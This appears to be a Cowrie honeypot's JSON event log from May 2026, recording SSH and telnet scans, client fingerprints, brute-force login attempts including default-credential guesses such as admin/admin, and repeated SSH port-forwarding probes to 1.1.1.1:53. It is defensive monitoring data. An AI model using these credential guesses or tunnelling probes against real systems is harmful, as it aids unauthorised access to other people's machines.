{"eventid":"cowrie.session.closed","duration":5.301079988479614,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.667397Z","src_ip":"35.233.116.221","session":"daa9b8b90936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.458227634429932,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.670691Z","src_ip":"35.233.116.221","session":"1d35c086e202","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.619352340698242,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.674094Z","src_ip":"35.233.116.221","session":"57d97c1ab8b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.7770795822143555,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.677856Z","src_ip":"35.233.116.221","session":"2d9ad3669c27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.935012578964233,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.681792Z","src_ip":"35.233.116.221","session":"a19d42da77dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.092660665512085,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.685799Z","src_ip":"35.233.116.221","session":"eac80152e39d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.405112266540527,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.690049Z","src_ip":"35.233.116.221","session":"90e2539b3b63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.636839389801025,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.693256Z","src_ip":"35.233.116.221","session":"f0248da47be0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.797150373458862,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.696766Z","src_ip":"35.233.116.221","session":"232f427c8dc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.95488166809082,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.699995Z","src_ip":"35.233.116.221","session":"84ed89459501","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.112586736679077,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.703334Z","src_ip":"35.233.116.221","session":"4cfa87f7a089","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.269685983657837,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.706510Z","src_ip":"35.233.116.221","session":"d068fdd2b2ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.426635503768921,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.709460Z","src_ip":"35.233.116.221","session":"cebc63f19fd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.584648847579956,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.713280Z","src_ip":"35.233.116.221","session":"4d99bfc4a87c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.741879224777222,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.716707Z","src_ip":"35.233.116.221","session":"3b2f6fad436f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.899237155914307,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.720244Z","src_ip":"35.233.116.221","session":"19a44840cdfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.234140396118164,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.734621Z","src_ip":"35.233.116.221","session":"5c7b59ef8de7","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.740815Z","src_ip":"87.251.64.176","session":"378d5223fdef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.847073Z","session":"378d5223fdef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:53.944972Z","src_ip":"87.251.64.176","session":"378d5223fdef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:54.177945Z","src_ip":"87.251.64.176","session":"378d5223fdef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":34787,"dst_ip":"10.17.0.5","dst_port":23,"session":"902c05af5757","protocol":"telnet","message":"New connection: 212.55.149.117:34787 (10.17.0.5:23) [session: 902c05af5757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:14:54.967514Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":40758,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d365a7d85ff","protocol":"ssh","message":"New connection: 103.15.226.202:40758 (10.17.0.5:22) [session: 7d365a7d85ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:15:35.240092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:15:35.244637Z","src_ip":"103.15.226.202","session":"7d365a7d85ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:15:35.489250Z","src_ip":"103.15.226.202","session":"7d365a7d85ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"163.com","message":"login attempt [root/163.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:15:36.221143Z","src_ip":"103.15.226.202","session":"7d365a7d85ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:15:37.467467Z","src_ip":"103.15.226.202","session":"7d365a7d85ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.09140348434448,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:15:57.058784Z","src_ip":"212.55.149.117","session":"902c05af5757","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0181016921997,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:16:24.309059Z","src_ip":"212.55.149.117","session":"e0c19d98af24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":13163,"dst_ip":"159.203.135.109","dst_port":22,"session":"536a4e01b417","protocol":"ssh","message":"New connection: 79.127.181.103:13163 (159.203.135.109:22) [session: 536a4e01b417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:16:24.990426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:16:25.199781Z","src_ip":"79.127.181.103","session":"536a4e01b417","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:16:25.402422Z","src_ip":"79.127.181.103","session":"536a4e01b417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:16:25.407589Z","src_ip":"79.127.181.103","session":"536a4e01b417","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":15892,"dst_ip":"10.17.0.5","dst_port":22,"session":"12434731bc76","protocol":"ssh","message":"New connection: 87.251.64.176:15892 (10.17.0.5:22) [session: 12434731bc76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:17:40.343525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:17:40.348260Z","src_ip":"87.251.64.176","session":"12434731bc76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:17:40.445081Z","src_ip":"87.251.64.176","session":"12434731bc76","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:17:40.738053Z","src_ip":"87.251.64.176","session":"12434731bc76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:17:40.836724Z","session":"12434731bc76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:17:40.935840Z","src_ip":"87.251.64.176","session":"12434731bc76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:17:41.035389Z","src_ip":"87.251.64.176","session":"12434731bc76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.160.226.224","src_port":45412,"dst_ip":"159.203.135.109","dst_port":23,"session":"770a0844f878","protocol":"telnet","message":"New connection: 1.160.226.224:45412 (159.203.135.109:23) [session: 770a0844f878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:17:56.450501Z"}
{"eventid":"cowrie.session.closed","duration":13.07480788230896,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:18:09.525220Z","src_ip":"1.160.226.224","session":"770a0844f878","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":56280,"dst_ip":"10.17.0.5","dst_port":22,"session":"272c948c959c","protocol":"ssh","message":"New connection: 103.15.226.202:56280 (10.17.0.5:22) [session: 272c948c959c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:19:14.374732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:19:14.379835Z","src_ip":"103.15.226.202","session":"272c948c959c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:19:14.627237Z","src_ip":"103.15.226.202","session":"272c948c959c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:19:15.373968Z","src_ip":"103.15.226.202","session":"272c948c959c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:19:16.625219Z","src_ip":"103.15.226.202","session":"272c948c959c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":32946,"dst_ip":"10.17.0.5","dst_port":23,"session":"52ce0754b9af","protocol":"telnet","message":"New connection: 212.55.149.117:32946 (10.17.0.5:23) [session: 52ce0754b9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:19:24.137713Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.56.175.154","src_port":35816,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec836cd741da","protocol":"telnet","message":"New connection: 152.56.175.154:35816 (159.203.135.109:23) [session: ec836cd741da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:19:40.961521Z"}
{"eventid":"cowrie.session.closed","duration":13.349522829055786,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:19:54.310802Z","src_ip":"152.56.175.154","session":"ec836cd741da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.434568881988525,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:20:24.572198Z","src_ip":"212.55.149.117","session":"52ce0754b9af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.35.36.133","src_port":35135,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6d2f0d83c2e","protocol":"telnet","message":"New connection: 59.35.36.133:35135 (159.203.135.109:23) [session: c6d2f0d83c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:20:26.564468Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11648,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8d58b7d8821","protocol":"ssh","message":"New connection: 87.251.64.176:11648 (10.17.0.5:22) [session: e8d58b7d8821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:20:29.684439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:20:29.689772Z","src_ip":"87.251.64.176","session":"e8d58b7d8821","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:20:29.788327Z","src_ip":"87.251.64.176","session":"e8d58b7d8821","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:20:30.082071Z","src_ip":"87.251.64.176","session":"e8d58b7d8821","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:20:30.184697Z","session":"e8d58b7d8821","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:20:30.283566Z","src_ip":"87.251.64.176","session":"e8d58b7d8821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:20:30.518193Z","src_ip":"87.251.64.176","session":"e8d58b7d8821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.292369842529297,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:20:39.856706Z","src_ip":"59.35.36.133","session":"c6d2f0d83c2e","protocol":"telnet"}
